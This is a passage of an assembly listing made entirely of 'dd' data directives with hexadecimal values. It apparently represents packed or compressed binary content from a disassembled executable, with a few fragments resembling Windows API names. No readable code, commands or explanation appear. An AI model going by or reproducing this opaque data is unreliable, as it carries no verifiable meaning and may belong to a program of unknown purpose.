		dd 3C609436h, 48689757h, 76192BB5h, 15B8A05Bh, 9E9C980Eh
		dd 0E9518E0Ch, 0C73E9193h, 0E05DCE35h, 1E142A2Eh, 46110B74h
		dd 5BF86A6Eh, 9A04850Bh, 0B88C8B5Ah, 0CA532084h, 5B1F77B9h
		dd 0DC24D771h, 1AE85589h, 4BD3C8Dh, 69AD7E17h, 72B43C9h
		dd 0A4028DA0h, 0D49F1B10h, 0F5608501h, 0FEBB0300h, 0E0358605h
		dd 0F9B86857h, 85731345h, 0B80ECC30h, 893E4816h, 0EC18DB59h
		dd 62853913h, 0A441AFA2h, 0ACEA01A3h, 72696BE0h, 0FF646F7Fh
		dd 4E5D0734h, 12C540BBh, 0CD9B82A0h, 97314A95h,	50271068h
		dd 39CE84ECh, 0CDE98C4h, 0EE721183h, 7A3D8BA5h,	0A0B912FEh
		dd 52C5A8DBh, 0AC017CC0h, 0DBFB7B1Bh, 18397517h, 0B37EBE5h
		dd 0D01C8DE0h, 0F65C6C51h, 110319B0h, 0F2001BEh, 0B1DBFD7Bh
		dd 1B06282Bh, 151ABD6Fh, 0B5FFCC38h, 99F9A3C4h,	0CCD04DCDh
		dd 8C0E1863h, 0B0DDDBBh, 84EB711Eh, 0D31B30CBh,	9D90D868h
		dd 75B8B9ECh, 4B4F9969h, 13261098h, 80535306h, 404C244Fh
		dd 6A91EB4Eh, 1304B764h, 87EB5F47h, 8C6439Ch, 0DB86C20h
		dd 0ABBAE88Ch, 6A4263C7h, 0D72F5D34h, 0C6C70C11h, 6359F460h
		dd 0B2C87DAFh, 0B8500460h, 91223F0h, 8C1911ECh,	0EEC86154h
		dd 8359C80Bh, 4D8351C7h, 60C07CC8h, 5778EBF1h, 45F1C28h
		dd 5AF08EC6h, 0AC0B1B6Bh, 4C330E8Bh, 9899DAB7h,	213976D0h
		dd 51A6C8B5h, 24CFB833h, 0A2893E89h, 4420FCBBh,	527DB884h
		dd 84AF6425h, 477E97D6h, 0C208C683h, 5ECF72F0h,	0CC0400A7h
		dd 5F78D81Dh, 0D574C4C7h, 0AE075328h, 0D1350CBFh, 280F474Ch
		dd 666A9F11h, 138B67E8h, 25FF2C11h, 91054808h, 4C8C8E7h
		dd 0F410F800h, 919AC16Ch, 0CCECF0h, 0EC27E819h,	0DCE08C8Ch
		dd 0F33D5100h, 767D1BF6h, 7208F58Dh, 87E98114h,	162D662Dh
		dd 85EC7F6Fh, 0EC731701h, 0C48BC82Bh, 8BE18B0Ch, 0B748C8F1h
		dd 0C33140C1h, 8C88804Fh, 8CC8869Fh, 60B8E999h,	0C96F6029h
		dd 3A1D77C9h, 88C813h, 0F4F7284Ah, 19930520h, 7E1680E1h
		dd 0D03DCC39h, 271B34F7h, 6F5085A8h, 0DF1B4820h, 0D97972Eh
		dd 2C32132Bh, 2A7410DCh, 4BCB3580h, 6C1C2F7Ch, 0CB203A27h
		dd 142FD6E5h, 30585811h, 0AC765CDAh, 132B805Fh,	0E8112898h
		dd 578C2089h, 9F7202A6h, 0E6B5BFE5h, 6D029709h,	70636D65h
		dd 65739979h, 97FCB3B9h, 7302BE74h, 656C7274h, 0C302C56Eh
		dd 6BCFDD3Bh, 1D616309h, 0D3A631BAh, 3F7FB76Ch,	5940333Fh
		dd 2505841h, 0F0F5A40h,	0F837FD32h, 0F490E3Ah, 7865AACAh
		dd 74706563h, 6EDD685Fh, 725243D1h, 43023DC1h, 0ADB3696Fh
		dd 491BB2FDh, 7878435Fh, 48758546h, 0DEA3781Dh,	4513AF0Ah
		dd 6C825F48h, 0BD42676Fh, 0D0310B41h, 7B545243h, 3DB67D9Ch
		dd 14E4957h, 38F0C45h, 0B6418A6Ch, 7933DEE0h, 240BAA0Bh
		dd 76A83743h, 0BDBFB542h, 54600D60h, 7474DEDBh,	6FD35265h
		dd 0B7BA8105h, 37FFDB6h, 0E697257h, 73966250h, 721B4D73h
		dd 0EED7FB9Bh, 470189C7h, 644113F6h, 11177264h,	0A5D82E67h
		dd 6C75213Ah, 0D8095F4Fh, 356FFDAh, 74726956h, 416C6175h
		dd 84452A84h, 751CC10Ah, 4C310261h, 0EA9BB535h,	695433FFh
		dd 6F436B63h, 2074E75h,	86B60649h, 2BD5AEEDh, 2E64656Bh
		dd 97670363h, 0C04AEB57h, 50754D41h, 930F6555h,	0A1364DEAh
		dd 0DAD1452Fh, 5961FDFEh, 6C5F0388h, 0F500DB63h, 461D5302h
		dd 0A56DBC80h, 0D6D6710h, 9E47014Fh, 8BDD70E0h,	0B8F6F25h
		dd 0D5797021h, 0A66BF6B6h, 0F795323h, 1EBE44EBh, 0C5AE6ECh
		dd 27316F1h, 4E32335Bh,	26B2BB6h, 497530D7h, 0E6C8718Ch
		dd 6525CB68h, 0DF68AD06h, 6F70AA96h, 1870B0A3h,	70616E53h
		dd 46DD6B61h, 0D51B6F28h, 1E627F43h, 82DB784Bh,	6D654144h
		dd 0BB4645DBh, 4EA57C33h, 32915EAh, 37140B53h, 0EC16D8h
		dd 6E1A2FDAh, 0F92FD230h, 0D5AACD86h, 0C85AC3ACh, 4CF2DAD6h
		dd 11A04561h, 66F74685h, 76453B9Dh, 0F4A1FAEh, 0C2B46064h
		dd 7F7AAEh, 49FB6544h, 671E886Fh, 4C76D6D5h, 1F31E500h
		dd 80007965h, 2ED56137h, 5DC88702h, 13868D96h, 6592453Ch
		dd 4466123h, 68D80160h,	426C2553h, 0F8D4CF75h, 4902A900h
		dd 2DEB721Ch, 0AD6C735Bh, 430A7043h, 53C2694Ch,	7386C9BDh
		dd 765F3D21h, 4B08C288h, 9F79D528h, 0F436BBF1h,	0FF501C68h
		dd 45007D18h, 0F6532EDBh, 69694508h, 9F685C64h,	428DB76Ah
		dd 146C2767h, 0CA267942h, 55D1CE6Eh, 6927284Fh,	330787Ah
		dd 9B556309h, 6AB00F45h, 0F8DFE9h, 3C52454Bh, 5D0BC74Ch
		dd 2D870A9h, 6682635Dh,	0C2187B71h, 0FC80258Ch,	0E9C371D6h
		dd 65061789h, 64D07267h
		dd 3B36ED25h, 0E3007Ch,	553F0CAFh, 76B65A53h, 1C5761E1h
		dd 756AF900h, 0B06BB3EEh, 149C009Dh, 17D73B7h, 0ADC936C3h
		dd 7075126Fh, 0A7759656h, 6901621Eh, 343D01A8h,	16F0528Bh
		dd 0C620D48Eh, 0F8A9654Bh, 4336440Dh, 9A3034CCh, 0D6D8CC1Fh
		dd 20EC3BDFh, 56444112h, 4B83496Fh, 25617942h, 27556F43h
		dd 67856C11h, 47300F66h, 390F5475h, 0D6036B0Dh,	916F1F49h
		dd 5160AE3Ch, 0FFCE0084h, 3F50DFD6h, 60335C33h,	3A336C33h
		dd 3380337Ch, 0FF90338Ch, 33FF06FFh, 33B933AFh,	1BEB33C4h
		dd 22340934h, 53343134h, 79345A34h, 0FF348434h,	0A8FFFFFFh
		dd 0CC34BB34h, 634F634h, 31352B35h, 4E353B35h, 7D355D35h
		dd 8E358835h, 9D359335h, 0FF35A735h, 0B4FFFFFFh, 0EA35D335h
		dd 1035F535h, 40363536h, 5B364836h, 66366136h, 90367736h
		dd 0AB369736h, 0FF36B236h, 0C2FFFFFFh, 0E636D136h, 18370436h
		dd 2A372337h, 53373937h, 6F376837h, 0F237C237h,	6937F937h
		dd 5638B738h, 0CCFFFFFFh, 0EB38DE38h, 2938FF38h, 5C395039h
		dd 94398039h, 0A5399A39h, 0A539B839h, 0FFFFFFFFh, 39CB39C5h
		dd 39D839D2h, 39E539E0h, 3A0D39F8h, 3A4F3A48h, 3A923A84h
		dd 3AE43AA5h, 0FF3F3AEDh, 3BF16FFFh, 0E273C12h,	3F3C383Ch
		dd 0A33C5E3Ch, 0BE3CB13Ch, 43CF23Ch, 0FF3DC73Dh, 0E5FFFFFFh
		dd 133DF53Dh, 343E183Eh, 793E3A3Eh, 983E7F3Eh, 503EE93Eh
		dd 643F573Fh, 7B3F6B3Fh, 3F3F863Fh, 98FFC34Ah, 0D13FCB3Fh
		dd 0F13FEC3Fh, 73200F3Fh, 0FFFE302Ah, 31B0FFFFh, 330A31B5h
		dd 332A3320h, 33B03337h, 355333B5h, 36153566h, 3633362Ch
		dd 3657364Ah, 0FFFFFFDCh, 36ECC3EFh, 37B43758h,	37F437C8h
		dd 383637FAh, 38473840h, 38873859h, 38A03899h, 0BFFF38A6h
		dd 38ACFFFBh, 38B838B2h, 38C438BEh, 0D1D838D2h,	39283922h
		dd 393D392Eh, 39683951h, 40043984h, 3990E358h, 9200F0ACh
		dd 0FF8A1281h, 0FF65F7D0h, 0D00F75ABh, 0BE6E3149h, 1ABF031Ah
		dd 37DD0715h, 4D687CDFh, 37361AADh, 3F1AB44Dh, 1AB868F6h
		dd 4F522730h, 69E71464h, 5076863h, 0B535F700h, 727CE4B9h
		dd 31400140h, 2EB079Fh,	97139ABEh, 0D2C31A0h, 0E9D8C80Bh
		dd 403F601h, 7BC51927h,	0CA3BA0F2h, 0DB0725FEh,	7C538A31h
		dd 34603A30h, 0CEC2689Fh, 0E00492BDh, 304F2338h, 0BC28A703h
		dd 831CC840h, 2A7676A9h, 295407A3h, 0A207602Bh,	7628C2Dh
		dd 642B3B92h, 7461525Eh, 80FBE761h, 46435307h, 0D8C80731h
		dd 58DD65B2h, 2307AF54h, 0B34F072Ch, 0E21D0A8Dh, 0D19F2Eh
		dd 98A323EBh, 780F37Dh,	60E13B57h, 2B27F14h, 0ED07C003h
		dd 7F314651h, 0EB0332E2h, 0ACB36CEh, 32F61833h,	0AA0BC013h
		dd 9A69A603h, 60DE94A6h, 0B2C8384Ah, 10FA9AEBh,	7A8B267Fh
		dd 34D34433h, 3BC6375Dh, 7E9603B2h, 34D3656Ah, 2E3E5E4Dh
		dd 9A31FE16h, 0E69A69A6h, 8CA6B8D0h, 9630E374h,	93315C6Dh
		dd 0DF27025Bh, 4AA40414h, 83535126h, 722EFFC9h,	0C1F954BFh
		dd 20BB5051h, 0EAB75F20h, 0C5FC821Fh, 7D8B2856h, 88B9C5FCh
		dd 778297D4h, 0F3C0332Eh, 358B5DABh, 0B73D0328h, 88A06E89h
		dd 0E88845E4h, 6C8C1405h, 0E08EE93h, 0D8D41DE4h, 872321C8h
		dd 78DCD4D8h, 0E0C87632h, 5DC0EE0h, 0EF92E4ECh,	0AD6E123h
		dd 0B9FFF4FCh, 0C0839EC1h, 0AC04133Ch, 33FC4EA6h, 0B78239F6h
		dd 0F875F772h, 68144875h, 382205FCh, 0CCD6646Ah, 0C4C83DF7h
		dd 13221B22h, 333BEF18h, 1C1634D9h, 0FF147414h,	500F3870h
		dd 1682BAFBh, 1009FC8Bh, 0A214EAh, 0E0CCBE7Ch, 0E14BF8D8h
		dd 0CC86192Eh, 0F105F7Dh, 1CA8EB7h, 70AC763Fh, 8D282A21h
		dd 3B07F1BEh, 0C81274C7h, 8BFFEEF6h, 88B0450h, 890A8950h
		dd 441B0451h, 1DE8EB5Eh, 3D8FB7D4h, 588D3F72h, 3D831FC4h
		dd 4192C60h, 5B6F4175h,	4E8D0CF1h, 0B02BA3Ch, 0CD404688h
		dd 0A1DB0FD8h, 0C91AD24Ch, 1D40568Ah, 23D9EBA0h, 4ABBB640h
		dd 0EE76FFDCh, 0B67E10E1h, 8D2E3407h, 354F4786h, 528FB10Ch
		dd 0DC560114h, 141AFF03h, 0D10E87A9h, 85F88B2Eh, 55B41FFFh
		dd 8A973F3h, 186783h, 11C47C7h,	73750DE1h, 6240600h, 8D0E460Dh
		dd 4F8FB28Eh, 4789FBC7h, 9E258A20h, 0F7768688h,	1A67F6B7h
		dd 8904438Bh, 38041F1Fh, 8A047B89h, 0DB361896h,	0AC97B367h
		dd 0D0157505h, 8E760040h, 47585EECh, 0C4B6FF4Dh, 7607EB0Bh
		dd 1B1C3658h, 8550A536h, 0E1803D07h, 9B3C2F34h,	636951CDh
		dd 7194F8Bh, 66C60189h,	4889DEC9h, 0C260735Ah, 6E7B645Eh
		dd 0B2ABC7C0h, 0B008B6C4h, 0CDDD3399h, 5AD0BD02h, 0B6579D83h
		dd 0F21D8BB8h, 2B0AB84Dh, 2AC38011h, 2B5906FBh,	0D31EC01Bh
		dd 0D0DF0BB9h, 8E5D8D30h, 247C83CCh, 0E10FD308h, 99012DFEh
		dd 8B470Ch, 0A06B08A3h,	0B1B6C058h, 96CCC9C2h, 60170DD7h
		dd 0BFB89A4Bh, 0EDB79BBh, 5E8B7FE0h, 0E3B8060h,	4B8B4475h
		dd 0C2538BF8h, 0F0176D4Dh, 0C0BF0B7h, 0F981FF33h, 0F445D9E0h
		dd 9BD2C410h, 4174F8EDh, 3974E40Dh, 52FB5D8Dh, 4DBB75FBh
		dd 7751509Ah, 9643E50h,	4B0DBF51h, 0D2EA97E0h, 89D2322Fh
		dd 4689187Eh, 768B301Ch, 8BC4C225h, 0D9F044C7h,	51CD16F0h
		dd 4C6030FFh, 0EDCA7454h, 6B9F2D23h, 58F685F0h,	46C60CDBh
		dd 0BF63DB64h, 6846DDFBh, 44B3B89h, 153C850Fh, 0F0DF983h
		dd 0F41E3382h, 1A37DB37h, 0CC255D8h, 2210CA3Bh,	16F87D81h
		dd 9F7FC1EAh, 46C70975h, 6673C618h, 0D85C23F6h,	8D1A8BE3h
		dd 1C4E719Fh, 50C488Dh,	0F6DBE106h, 0D7408B20h,	892455CBh
		dd 874AEC5Dh, 46BFB16Fh, 878D928Fh, 6F42BE4h, 0C6783189h
		dd 7089C2C8h, 13CB9756h, 42005D8Bh, 430F585Bh, 0BAC6481Dh
		dd 0CD20CD2Ch, 7746B746h, 0D52B6857h, 0F7B910F9h, 6185C1DBh
		dd 3135170Bh, 0AC0C1DF4h, 8A0D0B2Ah, 3BE4B574h,	0B5A1286Eh
		dd 4189DB80h, 49F0459Ch, 61704444h, 0E689E086h,	76704EA6h
		dd 6F1B272h, 569BEC97h,	88609F2Ch, 0CB73C5F5h, 0EE437389h
		dd 0C68762CDh, 26572278h, 8BE0861h, 0C5DF169Fh,	0BDDB6205h
		dd 1CBB1424h, 0DE778BC8h, 9399CC3Eh, 0CF17DCDh,	10020C39h
		dd 0B3E1D3B8h, 5751CEBh, 0A3030BE8h, 0E04AEB30h, 0D866CF6Ch
		dd 0D12DD56h, 56CCC941h, 0AF492043h, 25163C6Bh,	5D410052h
		dd 490D5203h, 732F9Ah, 57005F1Bh, 24C15B4Eh, 0D1102405h
		dd 1BA2DC08h, 8D7A5070h, 538A305Eh, 0BBA14566h,	0AFC45h
		dd 0F33BFA05h, 0B90BB5D9h, 121C0972h, 0EF20CF0h, 64F3E6CDh
		dd 18E87EF4h, 8EEC1AEAh, 8B5EC6FFh, 0C084D7F8h,	45AB2175h
		dd 0F82140Ch, 7E85927h,	23350332h, 363B236Ch, 418A564Ch
		dd 3F6EA48h, 11BB5B91h,	3F0B02C2h, 0E4880C06h, 10E7C8F3h
		dd 0D8140E1Ah, 1C0BC018h, 0F9F9F9E4h, 103E2079h, 28137C24h
		dd 9A2C0CC8h, 85AE1C0Dh, 2847663h, 85CC3A5Dh, 0DDFD0A66h
		dd 0D62C144Ah, 641BADEEh, 20038B1Eh, 0E68A17Ch,	0FE420789h
		dd 4D8F9F4h, 89047808h,	0C606EB3Dh, 1B03E42h, 9142A75Bh
		dd 0C77F2Eh, 5D8E832Fh,	18069C6Bh, 2259344Bh, 6BDED942h
		dd 31C2C0Bh, 389F1863h,	0EB3A9BB4h, 0B58FDE02h,	0F709BE56h
		dd 0DF58878Ch, 5CA24CCEh, 9BDBB60Ch, 4EB89331h,	7D834B58h
		dd 0FF21610Ch, 83D2C190h, 9D753E78h, 1EEBCE2Eh,	7E1840C7h
		dd 3A7B115h, 35201556h,	78E0D22Fh, 40592A5Eh, 78100218h
		dd 527EF7CCh
		dd 8A1850ABh, 0A06D6015h, 22F62EB2h, 5672854Ah,	0C68C5873h
		dd 0A274EB53h, 0ECEB36B2h, 0DD1CC631h, 5E75DE56h, 0C86C0628h
		dd 0CAA37DEh, 72582834h, 0E223C36Bh, 4E57F85Dh,	0B51183E0h
		dd 728F68C0h, 2E79D2FCh, 0B7E9FBC5h, 7B548FE4h,	0B86005EBh
		dd 64568D72h, 7F740C55h, 7F89BFDBh, 80F0EB36h, 3700647Eh
		dd 8B53684Eh, 418B6051h, 52305A6Ah, 810CE91Bh, 708AFFBh
		dd 0C0A90DAEh, 0D8CFA285h, 0B22C0375h, 66A5F4ADh, 18B81058h
		dd 0B08428Bh, 3495C807h, 0A95B7348h, 0EC1830FCh, 1029EB1Eh
		dd 7DCDD08Ah, 0AB5C0461h, 0BBD402E0h, 9774CFEh,	2CF8190Fh
		dd 0E3533F5Fh, 480F2C41h, 0DB85D8FCh, 0DFFFFCAEh, 2955F1D5h
		dd 8FA8110h, 75400100h,	0E718D47h, 0A5247B8Dh, 288BA566h
		dd 15AD5B10h, 765C3007h, 0DE90542Bh, 638369F3h,	0DB3019C4h
		dd 0CEB1DAEh, 0F612201Ah, 0DD6EDC1h, 66040966h,	20A11407h
		dd 95DD0B29h, 36EBED9Eh, 0D618094Eh, 0AB66AB4Dh, 0F3352BDBh
		dd 0F63E2A07h, 0D80B1F42h, 143056CEh, 93ED0C27h, 947CDB1Ah
		dd 51140A11h, 0DC38BC52h, 0E0DBC3DDh, 10AF930Ch, 14708D3Dh
		dd 8070296h, 67D9D333h,	87DE8D59h, 8B212A1Ch, 0B2055590h
		dd 57B216Fh, 5850D771h,	0DB2022EBh, 0F06D03Fh, 528B921Bh
		dd 0F1218330h, 7E164C50h, 37694CB8h, 4513C50h, 2325833Ch
		dd 9980F852h, 23183A00h, 0ECACAF4Fh, 0F18BD33Ch, 9F1DCF0Bh
		dd 3BB90510h, 0F09688F9h, 3B60A5FCh, 80C73294h,	0C4788D52h
		dd 5F0E7D3Bh, 407CA2h, 478B4097h, 0E869FC3Ch, 8708499h
		dd 0A8576CD3h, 0E7035A1Dh, 8FE31CFEh, 0D77241D8h, 0D72A528Ah
		dd 8C3118EBh, 0F246170h, 770C3D20h, 2F09DF24h, 3FF4BE0Ch
		dd 0E33748A7h, 4AF4BEEFh, 0F77D89CFh, 5B3ADCB8h, 0F8B6B6FBh
		dd 0E7B40118h, 0E141F6FCh, 0FBBB9AD7h, 0F3A6B674h, 1BEDB376h
		dd 9A3A1948h, 0E2447F83h, 3661D051h, 0D3C11663h, 0B2311644h
		dd 0E552D195h, 28F60D8Bh, 0D3E3A2BAh, 76A71E56h, 2254AA60h
		dd 61A374E0h, 0A9F97FFFh, 8B3A6253h, 118BC14Dh,	674D285h
		dd 108BC28Bh, 0E083F6EBh, 7BAE16C6h, 0A853B4F4h, 2F8EEB0Ah
		dd 4B2D58EEh, 20830CA6h, 7682801Ah, 0CF132974h,	845114A0h
		dd 0C39005EAh, 4D425638h, 0EF143F96h, 0BF76BEFh, 0D08699FFh
		dd 460A06BAh, 637C5060h, 8CBB07BCh, 0BAA83986h,	34F4B3D3h
		dd 670C10E3h, 3CA22464h, 2321A792h, 313F077h, 0DC5BF86Ch
		dd 0D6A5C7Bh, 755A03FFh, 4BA58B19h, 0A17C112Ch,	7744A750h
		dd 0E519722Dh, 67B6FB5Bh, 2A4B0306h, 18591CEBh,	488B0A73h
		dd 0F82376CFh, 731477CEh, 13EB4F05h, 2D08401Dh,	66B41AD0h
		dd 0A9EB232Ch, 0D5EADC1Bh, 148B2C0Bh, 0F67B3602h, 0BA6739C1h
		dd 108FC16Bh, 13DC1084h, 36DCD85Fh, 18A508B3h, 27F7620h
		dd 2DF8207Dh, 14045F2Dh, 34F46583h, 76FFFE62h, 40DBBF0Dh
		dd 184D6889h, 0C33DD950h, 731C7D39h, 1BE86097h,	452BC7EBh
		dd 4BA2B11Ch, 21FD3AB0h, 73FF4043h, 67DF7C38h, 46EC9EC5h
		dd 40538A24h, 80F89927h, 800A0D7Fh, 2BBA528Bh, 0B2C9F475h
		dd 4C4F7815h, 0EC343BC2h, 36360580h, 66342640h,	7565D81Dh
		dd 5EB35E24h, 41BA68EBh, 6846A16Bh, 0C137C985h,	51D855C0h
		dd 79834FEEh, 0E1A949F1h, 25746152h, 89540849h,	0CB6359B2h
		dd 14E2E7C5h, 0DA850B78h, 8014F80Fh, 781A1C60h,	2155364Ch
		dd 2E0A5F6h, 0E182A5F3h, 1DA4F303h, 0F600D270h,	7C8D0442h
		dd 73D1A10h, 34FC07DBh,	608318B3h, 8CE4D48h, 631B6944h
		dd 83882517h, 8B1055CFh, 1FBBB925h, 73838DF0h, 89113C4Ah
		dd 0D4054042h, 691B133Eh, 0C1A00B3Ch, 30872D08h, 2E93AFB6h
		dd 77F424CEh, 9A23AEF4h, 83C1C099h, 4C08448Dh, 4306085Eh
		dd 7526291Fh, 20D83670h, 0EFE8F2D9h, 3874ECE8h,	48E96C3Eh
		dd 0A27E5148h, 6EE6DF1Ch, 535C73F4h, 44342E54h,	88DB482Ch
		dd 8E44A955h, 2770BF20h, 0F73B156Dh, 710CD0B3h,	743A3C39h
		dd 0CC375BA4h, 4160DFA6h, 0C34049D3h, 0D83A46B2h, 2358BC4h
		dd 0C8AAD6h, 0D79EC342h, 8CD308BAh, 29D63406h, 3F4A376Bh
		dd 0F09C2C64h, 0B805EB30h, 23201C16h, 1CE12CD0h, 716C8409h
		dd 15348308h, 23889404h, 269C0CCFh, 2CF6CA57h, 57090234h
		dd 533F0C31h, 0E95AC1C1h, 14EB1B75h, 0C0EC35DBh, 0BEACD98Bh
		dd 0DA2B2075h, 1393A572h, 0A4D88357h, 0DA12F8FBh, 522C1054h
		dd 61022B74h, 0CDB4D9F1h, 3C75B02Dh, 0B6596CB2h, 2303C6Dh
		dd 0ED24282Ch, 8587B06Eh, 0E62C1074h, 0DC622D2Ch, 511A05AAh
		dd 823AD083h, 0FD099D6Fh, 0FAC28BFh, 28024FB7h,	0FA469AF5h
		dd 0E3DD728h, 0C64B6361h, 21BBF65Bh, 0A028399Dh, 15B7095Ah
		dd 8134080Eh, 0D6E66311h, 21F1DE5h, 0B5CA830Ah,	0B58B9EEBh
		dd 5960168Ah, 88E62015h, 11CCC43h, 6D803BE0h, 7189C06Fh
		dd 459890Bh, 1378C918h,	0CA4F61D8h, 1B22C857h, 8B154870h
		dd 5C137207h, 9436D8C4h, 2F03B04Bh, 1BDB6CB2h, 1842A72Dh
		dd 5A20056Ah, 0EDADC47Eh, 8B34883Bh, 0C23B8104h, 23B35C7Eh
		dd 0EE578DF4h, 0B740368h, 81E9BE53h, 3C1BE756h,	1539E440h
		dd 3E88FFDh, 8B250F85h,	6A8E2237h, 6177A13Dh, 59A258h
		dd 0B38B01A0h, 0DDECA8D4h, 58BEF8Dh, 0FEBDC89h,	6A604324h
		dd 7ED0211Ch, 0BEDAB01Bh, 0BF313990h, 6A3766CEh, 16758A15h
		dd 3BB9EC63h, 231DF033h, 7136EC6Eh, 354D738Bh, 77096418h
		dd 0DE7B574Dh, 58B65968h, 544C3005h, 1B1830B4h,	0D6CB2E46h
		dd 5C480C18h, 1950AE54h, 345979ECh, 541A125Ch, 0AFFE1DB7h
		dd 90E80DBBh, 4059D8Ch,	0C7445389h, 0A31C4800h,	291A7D2Bh
		dd 0BEC63B01h, 44DB0293h, 0C77018EAh, 53067B43h, 10B7631Eh
		dd 0A48EBA22h, 96F5C03Eh, 4CC6063Bh, 840C3421h,	0B9A0E512h
		dd 5D146130h, 0BB354884h, 3526D721h, 29E80E2Ah,	0F758C907h
		dd 78A6B259h, 916B570Ah, 0B58A8468h, 0F7B1875h,	29DE006Eh
		dd 1A6FD40Ah, 7A8D1B6Ah, 9F075910h, 1858E02Ch, 0BFF3E14Dh
		dd 2E1D7C06h, 105109C9h, 0A050984Eh, 991A3700h,	323243B7h
		dd 46326B86h, 4DCE0CFCh, 398CA64Dh, 665BA360h, 0B6320AB4h
		dd 0AD70D6Dh, 4A31AA64h, 77597A08h, 0D1DED8FBh,	0E0CA664Ah
		dd 324B14AAh, 42C08571h, 0C681181h, 5FA8939Ch, 605C47ABh
		dd 14B98F0Ch, 0D3CB428Eh, 530084F2h, 843B1931h,	5CBB800Eh
		dd 0EC278A60h, 90A46ECCh, 8D8066E2h, 670A4E5Ch,	0C46E4145h
		dd 0FA008897h, 25300C88h, 38EC8191h, 2BC41D10h,	125725CCh
		dd 0CD6807BFh, 3304B9AEh, 0E6C3BAFFh, 0D89680D9h, 0FC04DCDAh
		dd 3B3E6C9Eh, 0CA0CC812h, 0D010CC0Eh, 0D9910B18h, 0D41AD27Ch
		dd 9466F820h, 36DD028h,	2CE213E0h, 0D5D40FD2h, 0A2531740h
		dd 0A0083056h, 0C228656Dh, 995D8D57h, 0A7365B61h, 0C80A1ED6h
		dd 0B7580C81h, 0D011CB21h, 500C83Bh, 0F6C8B7Dh,	11D83B18h
		dd 788C3DB6h, 3FEE2284h, 0ECBA1F6Fh, 2004B809h,	7F0C8DF8h
		dd 0B419E7C1h, 48EEC42Dh, 44D521C4h, 77F4DC07h,	56EFACE8h
		dd 53BF773Ah, 8D458189h, 0D106DC60h, 0F6E0B541h, 96DE8C00h
		dd 4D5B17A0h, 7D318BE0h, 4581C128h, 0AFAC99A0h,	0F4BBB9A2h
		dd 0BAB60DFFh, 8DC2FF50h, 32B87373h, 6A9A2E89h,	7A8DDF00h
		dd 0B6E5B5F8h, 0DF86675h, 3040883h, 96FB02ECh, 6F4D68Eh
		dd 114279Dh, 0F0B41BE9h, 0B2176E6Dh, 5E377B85h,	460014F0h
		dd 0FF1E19B9h, 0FEEE150Ch
		dd 0A093A00Ch, 3889CABBh, 0C651E35Fh, 7BD41C31h, 6C6AE279h
		dd 73718B8Ch, 0FE00F4Dh, 2CD3591Bh, 63A239A3h, 0FBC321C3h
		dd 130C1A1Eh, 282B5AD1h, 8C140D71h, 26734182h, 0BA438364h
		dd 0E017750Eh, 8308A80Eh, 9C383597h, 904C0D5Bh,	9BD2F893h
		dd 8128481Ah, 0C401147Bh, 0B80775FCh, 0A6D834ACh, 4637EB2Ah
		dd 0A445B957h, 93C5278h, 5304C053h, 735A01BDh, 682F8740h
		dd 68F14CD9h, 9BBDFDC4h, 3B1D6A5Fh, 0BE4C8BBFh,	8193A354h
		dd 7F061479h, 1AE00A1h,	81208D6Dh, 7605DC38h, 6854D005h
		dd 6001B1Bh, 3C725E2Ch,	2FA39DDDh, 29665D14h, 19112830h
		dd 9C9B584Ah, 582106EAh, 640611BAh, 0E8187151h,	49700E0Eh
		dd 2117F67h, 589B7F08h,	57EE085h, 284A7427h, 0B952211Dh
		dd 7A8D4D10h, 687D49C8h, 468C0C76h, 39578414h, 2BAB7EA4h
		dd 46895F18h, 7C1E8B10h, 150FC0E0h, 0FAC38156h,	0B95E551Dh
		dd 721FF87h, 60C38356h,	9AB8ECEBh, 1995ED51h, 73D64B18h
		dd 7E748253h, 57DACCD5h, 0A577E434h, 0E830B89h,	0AA437632h
		dd 7F478D47h, 9036FF47h, 80CC0BECh, 891840F1h, 87838147h
		dd 579E9707h, 60579E7Ch, 0AC5A2DBDh, 0B43E8750h, 98057D68h
		dd 6B3CA390h, 81E0663Ch, 0C683F06Eh, 7579FF04h,	450C4993h
		dd 2D3218BEh, 1EF65810h, 712CD890h, 4650BE9Ch, 0D0480D8Bh
		dd 0DFFBFEEh, 0D08A147Dh, 0C83B09B8h, 7541588h,	0FF065574h
		dd 0EF3E1A2Dh, 98BC459h, 0F375DF3Bh, 944D1314h,	5379D61Bh
		dd 9E976F9Bh, 56F98C35h, 1E47754Ch, 103844F0h, 0E1584B54h
		dd 57184503h, 0C3C4DE1Ah, 0FDD7CA06h, 25340125h, 9710F750h
		dd 18161CEBh, 0D58C102Eh, 44928733h, 0B618D126h, 1483553Ah
		dd 42F84008h, 0A92F05A1h, 0D0EAB1CAh, 9CAB70BFh, 507C7589h
		dd 0E4E8DF2h, 58EE5589h, 0E6ED1B75h, 0A5A3D35h,	829505B8h
		dd 0BA8083B0h, 9C518C49h, 1C107B9h, 860F5581h, 0A09B0597h
		dd 4E8F0483h, 2A748EEAh, 607EC0E5h, 7480350Fh, 0CA061F1Ah
		dd 0AA3162Ah, 2A895327h, 2654F7C0h, 0E177C928h,	9E4A7461h
		dd 1274F446h, 58A9649Dh, 5847388Ch, 64B7E0F4h, 4F30F400h
		dd 5598430Ch, 0D0278DCAh, 0BA1F7827h, 0BCA23DD7h, 3104CA1h
		dd 0A9422A7Ah, 81E045C7h, 0DD08A840h, 8A5414B0h, 0DF8E76E5h
		dd 0A33772D6h, 0B9D3FF2Dh, 2E0E6A1Fh, 8F3447B4h, 41D60A23h
		dd 0A256C51Eh, 315921ADh, 57361087h, 1C6EB780h,	150F04BDh
		dd 0D7374450h, 9517F3Ah, 0D0B0FA0Ch, 8A99A266h,	0D54C5304h
		dd 9037BE87h, 0A46FC25Ah, 0C7B2FFD3h, 3AC10D10h, 521FEB34h
		dd 0C1D95152h, 387D6A78h, 3056D951h, 30EC908h, 345653BFh
		dd 2251FA5h, 8CB000E0h,	0D41C27E7h, 80E53AA1h, 3C2D6DBFh
		dd 0F0B31EAh, 0F3DC6887h, 71880C60h, 5F04D947h,	985A1039h
		dd 8AE1A4Dh, 8123FCD0h,	590C86D7h, 26F011FCh, 420C9C87h
		dd 0FCFCF8E4h, 2D812B3Bh, 0D28F5D3Ah, 0C61EE155h, 2C4B0C00h
		dd 0C80CC9D8h, 8080C81h, 0E59193DDh, 80F1463h, 88E408F8h
		dd 8BF8F253h, 0B38DF84Eh, 0E21D6803h, 855DB93h,	9BA68388h
		dd 0F9A5E59h, 842D42Ah,	9E084A89h, 11AF1C01h, 2B651471h
		dd 926F19B8h, 0C7F45E9h, 0D620D5C7h, 454CC803h,	10F2D2C2h
		dd 38BAF3E0h, 1E770C7Eh, 9F210394h, 0CB113108h,	17212162h
